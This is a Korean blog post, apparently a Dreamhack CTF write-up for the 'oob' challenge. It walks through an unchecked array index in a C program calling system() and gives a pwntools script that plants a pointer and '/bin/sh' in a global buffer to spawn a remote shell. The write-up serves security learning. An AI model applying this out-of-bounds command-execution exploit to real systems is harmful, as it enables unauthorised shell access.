문제 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob"
};
int main()
{
int idx;
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
|
cs |
name, command 배열이 전역변수로 선언되었고,
main함수 내부에 idx변수가 선언되었다.
Admin name: 이후에 name의 사이즈만큼 입력을 받고,
idx를 입력받아 command[idx]를 실행시킨다.
여기서 idx값이 command 배열의 범위를 넘어가더라도 아무런 제재가 없으며,
더 나아가 name 변수까지도 침범할 수 있다.
그래서 name에는 “/bin/sh”를 입력하고, idx에는 name변수의 위치를 계산해주어 입력하면 될 것이다.
Exploit
먼저 name 변수와 command가 위치한 주소의 차이를 계산해주었다.
두 주소의 차이는 76바이트이고,
idx는 4바이트씩 증가하므로 idx = 19를 입력하면 name 변수에 접근할 수 있다.
read가 실행되었을 때, 인자로 /bin/sh가 잘 들어간 모습이다.
계속 실행하여 idx에는 19를 넣었고, sysem함수 실행까지 진행했는데,
system함수의 인자로 /bin까지만 들어가 있는 것을 볼 수 있었다.
이는 system(command[”ls”]) 명령어를 실행할 경우
system에 argument를 넘길 때 eax (rax)의 주소를 넘겨 해당 주소의 값을 참조하도록 설계되어있는데,
위의 경우 argument로 문자열을 넘겨주었으므로 원하는 실행이 제대로 되지 않은 것이다.
그러므로 argument로 name + 4의 주소를 넘겨주고, name + 4의 위치에는 /bin/sh를 넣어주면 된다.
앞서 name은 0x804a0ac에 저장되어 있는 것을 확인했으므로,
해당 주소 + 4의 위치에 삽입하면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
p = remote("host3.dreamhack.games", 11198)
payload = p32(0x804a0b0)
payload += b"/bin/sh"
p.sendlineafter(b"Admin name: ", payload)
p.sendlineafter(b"What do you want?: ", "19")
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
Format String Bug (0) | 2024.01.18 |
---|---|
hook (0) | 2024.01.18 |
oneshot (0) | 2024.01.18 |